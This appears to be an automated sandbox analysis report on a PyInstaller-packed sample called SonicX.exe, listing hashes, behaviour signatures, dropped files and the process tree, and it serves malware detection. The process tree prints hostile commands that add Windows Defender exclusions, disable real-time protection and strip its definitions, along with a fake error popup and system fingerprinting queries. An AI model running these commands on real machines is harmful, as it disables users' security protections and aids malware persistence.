Analysis
-
max time kernel
149s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01-06-2024 16:35
Behavioral task
behavioral1
Sample
SonicX/SonicX.dll
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
SonicX/SonicX.dll
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
SonicX/SonicX.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
SonicX/SonicX.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
SonicX/Vurnability.dll
Resource
win7-20240419-en
Behavioral task
behavioral6
Sample
SonicX/Vurnability.dll
Resource
win10v2004-20240508-en
General
-
Target
SonicX/SonicX.exe
-
Size
5.9MB
-
MD5
38a115b41e35e5dcb341a6e445cb1dfe
-
SHA1
fa320754186beaca0ba664c3df85dd075c936d43
-
SHA256
8a1d56f85b8f68ae8a3c1a11ca252036106234b6923656718e5175992fdfd536
-
SHA512
3b89091482494c94f50e0104045d03eb542d38cb438a81a8057701b68239673552fcfff9e64c8e437dec5f7bb2e7e4c48d3d78704e7873467379ac22c6c1c5db
-
SSDEEP
98304:CrInld9hjki65sn6Wfz7pnxC/tEC8smLhsl9Qvr/kAXjzrgyOSsJRynM6iIskrls:CrInr9cDOYyCREhS0kypnFnM6TsCsnUK
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 4068 powershell.exe 2376 powershell.exe -
Loads dropped DLL 17 IoCs
Processes:
SonicX.exepid process 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe 4476 SonicX.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI41122\python310.dll upx behavioral4/memory/4476-25-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_ctypes.pyd upx behavioral4/memory/4476-30-0x00007FFD09760000-0x00007FFD09784000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_socket.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_ssl.pyd upx behavioral4/memory/4476-48-0x00007FFD0DC00000-0x00007FFD0DC0F000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_sqlite3.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_lzma.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_hashlib.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_decimal.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_bz2.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\unicodedata.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\sqlite3.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\libcrypto-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\_queue.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\select.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\libssl-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI41122\libffi-7.dll upx behavioral4/memory/4476-54-0x00007FFD093B0000-0x00007FFD093DC000-memory.dmp upx behavioral4/memory/4476-56-0x00007FFD092D0000-0x00007FFD092E8000-memory.dmp upx behavioral4/memory/4476-58-0x00007FFD092B0000-0x00007FFD092CE000-memory.dmp upx behavioral4/memory/4476-60-0x00007FFD089F0000-0x00007FFD08B61000-memory.dmp upx behavioral4/memory/4476-62-0x00007FFD09180000-0x00007FFD09199000-memory.dmp upx behavioral4/memory/4476-64-0x00007FFD0DBF0000-0x00007FFD0DBFD000-memory.dmp upx behavioral4/memory/4476-66-0x00007FFD08980000-0x00007FFD089AE000-memory.dmp upx behavioral4/memory/4476-70-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp upx behavioral4/memory/4476-74-0x00007FFD09760000-0x00007FFD09784000-memory.dmp upx behavioral4/memory/4476-73-0x00007FFCF9EC0000-0x00007FFCFA237000-memory.dmp upx behavioral4/memory/4476-71-0x00007FFCFA240000-0x00007FFCFA2F7000-memory.dmp upx behavioral4/memory/4476-76-0x00007FFD09160000-0x00007FFD09175000-memory.dmp upx behavioral4/memory/4476-78-0x00007FFD09710000-0x00007FFD0971D000-memory.dmp upx behavioral4/memory/4476-80-0x00007FFCF9C50000-0x00007FFCF9D68000-memory.dmp upx behavioral4/memory/4476-106-0x00007FFD092B0000-0x00007FFD092CE000-memory.dmp upx behavioral4/memory/4476-107-0x00007FFD089F0000-0x00007FFD08B61000-memory.dmp upx behavioral4/memory/4476-108-0x00007FFD09180000-0x00007FFD09199000-memory.dmp upx behavioral4/memory/4476-109-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp upx behavioral4/memory/4476-123-0x00007FFCF9C50000-0x00007FFCF9D68000-memory.dmp upx behavioral4/memory/4476-120-0x00007FFCF9EC0000-0x00007FFCFA237000-memory.dmp upx behavioral4/memory/4476-119-0x00007FFCFA240000-0x00007FFCFA2F7000-memory.dmp upx behavioral4/memory/4476-118-0x00007FFD08980000-0x00007FFD089AE000-memory.dmp upx behavioral4/memory/4476-110-0x00007FFD09760000-0x00007FFD09784000-memory.dmp upx behavioral4/memory/4476-125-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp upx behavioral4/memory/4476-153-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp upx behavioral4/memory/4476-168-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmp upx -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
-
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 2152 powershell.exe 4068 powershell.exe 2152 powershell.exe 4068 powershell.exe 2376 powershell.exe 2376 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
tasklist.exepowershell.exepowershell.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 1504 tasklist.exe Token: SeDebugPrivilege 2152 powershell.exe Token: SeDebugPrivilege 4068 powershell.exe Token: SeIncreaseQuotaPrivilege 4452 WMIC.exe Token: SeSecurityPrivilege 4452 WMIC.exe Token: SeTakeOwnershipPrivilege 4452 WMIC.exe Token: SeLoadDriverPrivilege 4452 WMIC.exe Token: SeSystemProfilePrivilege 4452 WMIC.exe Token: SeSystemtimePrivilege 4452 WMIC.exe Token: SeProfSingleProcessPrivilege 4452 WMIC.exe Token: SeIncBasePriorityPrivilege 4452 WMIC.exe Token: SeCreatePagefilePrivilege 4452 WMIC.exe Token: SeBackupPrivilege 4452 WMIC.exe Token: SeRestorePrivilege 4452 WMIC.exe Token: SeShutdownPrivilege 4452 WMIC.exe Token: SeDebugPrivilege 4452 WMIC.exe Token: SeSystemEnvironmentPrivilege 4452 WMIC.exe Token: SeRemoteShutdownPrivilege 4452 WMIC.exe Token: SeUndockPrivilege 4452 WMIC.exe Token: SeManageVolumePrivilege 4452 WMIC.exe Token: 33 4452 WMIC.exe Token: 34 4452 WMIC.exe Token: 35 4452 WMIC.exe Token: 36 4452 WMIC.exe Token: SeIncreaseQuotaPrivilege 4452 WMIC.exe Token: SeSecurityPrivilege 4452 WMIC.exe Token: SeTakeOwnershipPrivilege 4452 WMIC.exe Token: SeLoadDriverPrivilege 4452 WMIC.exe Token: SeSystemProfilePrivilege 4452 WMIC.exe Token: SeSystemtimePrivilege 4452 WMIC.exe Token: SeProfSingleProcessPrivilege 4452 WMIC.exe Token: SeIncBasePriorityPrivilege 4452 WMIC.exe Token: SeCreatePagefilePrivilege 4452 WMIC.exe Token: SeBackupPrivilege 4452 WMIC.exe Token: SeRestorePrivilege 4452 WMIC.exe Token: SeShutdownPrivilege 4452 WMIC.exe Token: SeDebugPrivilege 4452 WMIC.exe Token: SeSystemEnvironmentPrivilege 4452 WMIC.exe Token: SeRemoteShutdownPrivilege 4452 WMIC.exe Token: SeUndockPrivilege 4452 WMIC.exe Token: SeManageVolumePrivilege 4452 WMIC.exe Token: 33 4452 WMIC.exe Token: 34 4452 WMIC.exe Token: 35 4452 WMIC.exe Token: 36 4452 WMIC.exe Token: SeIncreaseQuotaPrivilege 4728 WMIC.exe Token: SeSecurityPrivilege 4728 WMIC.exe Token: SeTakeOwnershipPrivilege 4728 WMIC.exe Token: SeLoadDriverPrivilege 4728 WMIC.exe Token: SeSystemProfilePrivilege 4728 WMIC.exe Token: SeSystemtimePrivilege 4728 WMIC.exe Token: SeProfSingleProcessPrivilege 4728 WMIC.exe Token: SeIncBasePriorityPrivilege 4728 WMIC.exe Token: SeCreatePagefilePrivilege 4728 WMIC.exe Token: SeBackupPrivilege 4728 WMIC.exe Token: SeRestorePrivilege 4728 WMIC.exe Token: SeShutdownPrivilege 4728 WMIC.exe Token: SeDebugPrivilege 4728 WMIC.exe Token: SeSystemEnvironmentPrivilege 4728 WMIC.exe Token: SeRemoteShutdownPrivilege 4728 WMIC.exe Token: SeUndockPrivilege 4728 WMIC.exe Token: SeManageVolumePrivilege 4728 WMIC.exe Token: 33 4728 WMIC.exe Token: 34 4728 WMIC.exe -
Suspicious use of WriteProcessMemory 42 IoCs
Processes:
SonicX.exeSonicX.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 4112 wrote to memory of 4476 4112 SonicX.exe SonicX.exe PID 4112 wrote to memory of 4476 4112 SonicX.exe SonicX.exe PID 4476 wrote to memory of 3264 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3264 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 2596 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 2596 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3504 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3504 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3500 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3500 4476 SonicX.exe cmd.exe PID 3504 wrote to memory of 4504 3504 cmd.exe mshta.exe PID 3504 wrote to memory of 4504 3504 cmd.exe mshta.exe PID 3500 wrote to memory of 1504 3500 cmd.exe tasklist.exe PID 3500 wrote to memory of 1504 3500 cmd.exe tasklist.exe PID 2596 wrote to memory of 2152 2596 cmd.exe powershell.exe PID 3264 wrote to memory of 4068 3264 cmd.exe powershell.exe PID 2596 wrote to memory of 2152 2596 cmd.exe powershell.exe PID 3264 wrote to memory of 4068 3264 cmd.exe powershell.exe PID 4476 wrote to memory of 3616 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3616 4476 SonicX.exe cmd.exe PID 3616 wrote to memory of 4452 3616 cmd.exe WMIC.exe PID 3616 wrote to memory of 4452 3616 cmd.exe WMIC.exe PID 4476 wrote to memory of 4708 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 4708 4476 SonicX.exe cmd.exe PID 4708 wrote to memory of 3220 4708 cmd.exe reg.exe PID 4708 wrote to memory of 3220 4708 cmd.exe reg.exe PID 4476 wrote to memory of 4888 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 4888 4476 SonicX.exe cmd.exe PID 4888 wrote to memory of 3136 4888 cmd.exe reg.exe PID 4888 wrote to memory of 3136 4888 cmd.exe reg.exe PID 4476 wrote to memory of 1832 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 1832 4476 SonicX.exe cmd.exe PID 1832 wrote to memory of 4728 1832 cmd.exe WMIC.exe PID 1832 wrote to memory of 4728 1832 cmd.exe WMIC.exe PID 4476 wrote to memory of 3084 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3084 4476 SonicX.exe cmd.exe PID 3084 wrote to memory of 4080 3084 cmd.exe WMIC.exe PID 3084 wrote to memory of 4080 3084 cmd.exe WMIC.exe PID 4476 wrote to memory of 3312 4476 SonicX.exe cmd.exe PID 4476 wrote to memory of 3312 4476 SonicX.exe cmd.exe PID 3312 wrote to memory of 2376 3312 cmd.exe powershell.exe PID 3312 wrote to memory of 2376 3312 cmd.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SonicX\SonicX.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4068 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2152 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please try again later', 0, 'Error', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:3504 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please try again later', 0, 'Error', 0+16);close()"4⤵PID:4504
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1504 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4452 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"3⤵
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 24⤵PID:3220
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"3⤵
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 24⤵PID:3136
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:4728 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:4080 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2376
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\VCRUNTIME140.dllFilesize
94KB
MD5a87575e7cf8967e481241f13940ee4f7
SHA1879098b8a353a39e16c79e6479195d43ce98629e
SHA256ded5adaa94341e6c62aea03845762591666381dca30eb7c17261dd154121b83e
SHA512e112f267ae4c9a592d0dd2a19b50187eb13e25f23ded74c2e6ccde458bcdaee99f4e3e0a00baf0e3362167ae7b7fe4f96ecbcd265cc584c1c3a4d1ac316e92f0
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_bz2.pydFilesize
43KB
MD514f6cede9e0019d27c31eee3a915ef52
SHA1573754df8bed96146ac30634df0729d06bf6a168
SHA256b51492a7499cc557b8d3c055966a2fb5841b35fcb7ba9ba7e7d9b029a83ee44d
SHA512a6673afd2fbed73961b222382e5e98a792b67ba67c552f771c4865345339a7952e6d468f039e4f8631f399e86b0ee920e9587a66fc1b8834c8628b9ac1e16a62
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_ctypes.pydFilesize
54KB
MD59ca880ee43fb91437d19498793311c2f
SHA1a475666edc3c18155669afdb9360f66f6267bbef
SHA2565c885a972a841f14ccc6d81b942a5acb60df116e7b06ad8cb2385fc59a7fb18d
SHA512d20fdf32e4e678a1c113e7896494bdae604838bee47f74168012ff5031fd852a88f3d9964226f8b5217ed38fdeee2ce666ea30f7ac842bf30e7f2e2702cafc83
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_decimal.pydFilesize
101KB
MD5bc6649c56700e2969df45e3b590052cf
SHA18bec6d861811f02f14cc15d39a5f2f90b8428d02
SHA2561384008ccd60cddcc839d3f7b0fc29bcaac3a8ad6edd9058488bd8ce21d695f8
SHA512a965247291721d1eb873f2912f79197a4488055edbab4589648f8ee5358a2fc90d44a8544efba45331c5bb937bd4fa84181ffdf48ccb86ebcb205e2e2d53440a
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_hashlib.pydFilesize
31KB
MD5bd72948920169b6f05b4f252b2d88460
SHA1a830843f0b210fb3eaad7adcb764e2f124603b7d
SHA256ae2964c42e590ad1d51837dd96b747619e3ed28f35172c517d7875f4381823e3
SHA5120cc1de1673932af3050b870dd9bcf8c51379dfb6f66c1acce7c345531aaaacdd31b25b553c3e602b4cff0380232ff194572c9c3184fd1182c70843df44bdf56e
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_lzma.pydFilesize
81KB
MD582ebacab21a375c90c2cc10a834d294b
SHA1a066b0cbc5a8d7aab0ea78faa0785a1405abb23a
SHA256138adc9f4a7e8cb239cdcce05af832b7e2527ed29de8e3f461c9900df8b2c404
SHA5127f3b27f62d163126cbc23b3ac215ba9e5ebbf6769afc7d51d0db487f4b9ef9905a7180a25f6d5b80a033f1867ac6382842ce40791dd1404c8d46543bfb01cf0a
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_queue.pydFilesize
21KB
MD5d69381b02618505b6d2fdafb84a2686d
SHA17f28533d9c6141e72d17006e008e8ee5396f4940
SHA256007d190306e9bf4a3ed0fbd3f46c45a716210f8b3e220f76e17d6ccf8631c00c
SHA51272e4f5734361ed428fb2c308f4c8fecae20817ee81921939736b01836627a9edafdce0e121d00d9f5ede438717384e90ee8fa6d6f0bf92a2c17985bb016397ec
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_socket.pydFilesize
38KB
MD58acf34fc59c9715defdd5c6dd9f22803
SHA173dac021792f590b32ddef5fd6707e4c26d5c1b3
SHA256514d22b51327e6837edaec2a27761aca535da7dd55043ea3d4e2cb8bd7d52a61
SHA5120932234e97a68dd5faf46a06f5aba6e85f7d2b1896606b55d8a87a9d1973961d3913a9ea1aa0b5742e9b489eafacc5f50a74b597d4edfcf6bbde5ddd94f16fa0
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_sqlite3.pydFilesize
45KB
MD5557a3a3a76c8bbc792901b201b0318cf
SHA1c69027bbd7460f0be4582329de768cc3c4317bb2
SHA2562c0b99f214e2c6c7f2a7bb81e1ec7759039308b09ca6c4e5ffa246a6afd2ba9e
SHA512cd55f0e84e752b4789114b6f1803c96882607bc49203c9f5b1a1bce7ab1576fbbd1313f60ce59d4c67ccdaa2f28d7a297294f3a3b23ed81f599c66b066144493
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\_ssl.pydFilesize
58KB
MD5e9f1e4e988ee39cc71b48eea7a63fb86
SHA1b853dd38b4d97d435d59df3b2691dbab7dcae9ef
SHA256d7def30d231d85044acbcf278bde64081efaccc44a885e7831512be70efd790f
SHA512c7c6707fa0cb7b4033ac2310de62d8ffdc955f7f48d0a49886ce405166fb5edfd5f9f52e4048186637e0af6a9bc8653b7f0f00b968f447b193c275265e480101
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\base_library.zipFilesize
858KB
MD50914056664e25c8ca354cff0080a06e5
SHA15b27f1317af9abf4724d8a2c8a02a20b60dd30c0
SHA256ef6549f4ce4cc039f98f4aba2951d57870f8751a7ff712242a8764f052d16624
SHA5122cf4720932527b8a3b538f0c117124e19f772b5dedcffdfbcf4be7c31a074bc05d9a27e582cd4fbcb3d2e150ecb28f1ca6b6c49d388f84a811de3e7d38237eaf
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\blank.aesFilesize
71KB
MD573d4c0927ace9d703da3494f6e97c29b
SHA124814f9db3f99f8a19b5563697c73460026c9af3
SHA256da37e113a64dbcae7d6d9bf1ffcb62892c2867eba52f3b494f133e3227c924c9
SHA512870ce3c897f45dab5e0a8782cd42d7a085938a5d268e0d83d3c436f1f7f0a4679a369ea5e0cc4488eb27669b56ad4309b0c264bfc2e599d9836406814c79fd0e
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\libcrypto-1_1.dllFilesize
1.1MB
MD53cc020baceac3b73366002445731705a
SHA16d332ab68dca5c4094ed2ee3c91f8503d9522ac1
SHA256d1aa265861d23a9b76f16906940d30f3a65c5d0597107ecb3d2e6d470b401bb8
SHA5121d9b46d0331ed5b95dda8734abe3c0bd6f7fb1ec9a3269feab618d661a1644a0dc3bf8ac91778d5e45406d185965898fe87abd3261a6f7f2968c43515a48562c
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\libffi-7.dllFilesize
23KB
MD56f818913fafe8e4df7fedc46131f201f
SHA1bbb7ba3edbd4783f7f973d97b0b568cc69cadac5
SHA2563f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
SHA5125473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\libssl-1_1.dllFilesize
200KB
MD57f77a090cb42609f2efc55ddc1ee8fd5
SHA1ef5a128605654350a5bd17232120253194ad4c71
SHA25647b63a9370289d2544abc5a479bfb27d707ae7db4f3f7b6cc1a8c8f57fd0cf1f
SHA512a8a06a1303e76c76d1f06b689e163ba80c1a8137adac80fab0d5c1c6072a69d506e0360d8b44315ef1d88cbd0c9ac95c94d001fad5bc40727f1070734bbbbe63
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\python310.dllFilesize
1.4MB
MD5617c7f358a7744fa767ef52e5224c9ec
SHA16b8974308c1a734a5cfab590205d5135c216c54d
SHA25667ce157f4e61ad163b773fa885620f4fad58793b7ca8b32e4cc38f1e6744b987
SHA51225d3dc8eacb53284cfe1ef6f932606b6acc90fc5fac3157d6901e5cfa7f2ae8b06d87c73ba10516a43bb4f74c4e8cfd6ce8d3dfa7c65558e4705011288a4136b
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\rar.exeFilesize
615KB
MD59c223575ae5b9544bc3d69ac6364f75e
SHA18a1cb5ee02c742e937febc57609ac312247ba386
SHA25690341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA51257663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\rarreg.keyFilesize
456B
MD54531984cad7dacf24c086830068c4abe
SHA1fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA25658209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA51200056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\select.pydFilesize
21KB
MD5f7b1a9d9a01db7ccfe3e6aff5010af01
SHA145af84436b9c2aa6bb24b583b2b4915679ae3f3f
SHA256ba793d571893b08eab1b8a250a4b7b91cb947bc7da7e44cc6aa719c5148f0cbd
SHA512cfa67c55d55df0ff5b0aab2ea594a9210a7bfc67f11550733cf655cd9eaf6fdbe48e69c229edafd58931d5c61ad9fbf30f77f4d4e19d0a61992110627e0874c1
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\sqlite3.dllFilesize
611KB
MD5fc6f37d7d90f3baacc483ef2dc6f0e05
SHA10c7a777afe00c9e21f408446e1b3e92cd59dbea9
SHA2564d5b66f7f7b0912dc954f7ab917574da8c7904f3c13ec59e81894c22ffa88631
SHA51274b2a9b0b4c43184f492d1a238dbf77ccca9ab29f7ab73ebf02419c66acd6952aa2318c50d3457d43ca6fe9f43957001f4b88fe9aec01be993b91189741fc85c
-
C:\Users\Admin\AppData\Local\Temp\_MEI41122\unicodedata.pydFilesize
285KB
MD5a44e3cc2bf01cc23cb5579b2ed9e72c6
SHA16cbc24b32ff828b0bf4061566aba1e284b474558
SHA2565af3d3d89e0a6ba6cbae58791ec47778f2f98a0964f70d572bd91030165abb42
SHA5125fdd0320f6d6884e71c768f10e6e606448c21ce75209e0c81cf9737596836e9af0914abf365d54b154a0f48e66f8d25ab9463baebe9110e1bf0d550838b77171
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mytlij21.fjb.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/2152-86-0x000002A72E880000-0x000002A72E8A2000-memory.dmpFilesize
136KB
-
memory/4476-80-0x00007FFCF9C50000-0x00007FFCF9D68000-memory.dmpFilesize
1.1MB
-
memory/4476-168-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmpFilesize
4.4MB
-
memory/4476-54-0x00007FFD093B0000-0x00007FFD093DC000-memory.dmpFilesize
176KB
-
memory/4476-62-0x00007FFD09180000-0x00007FFD09199000-memory.dmpFilesize
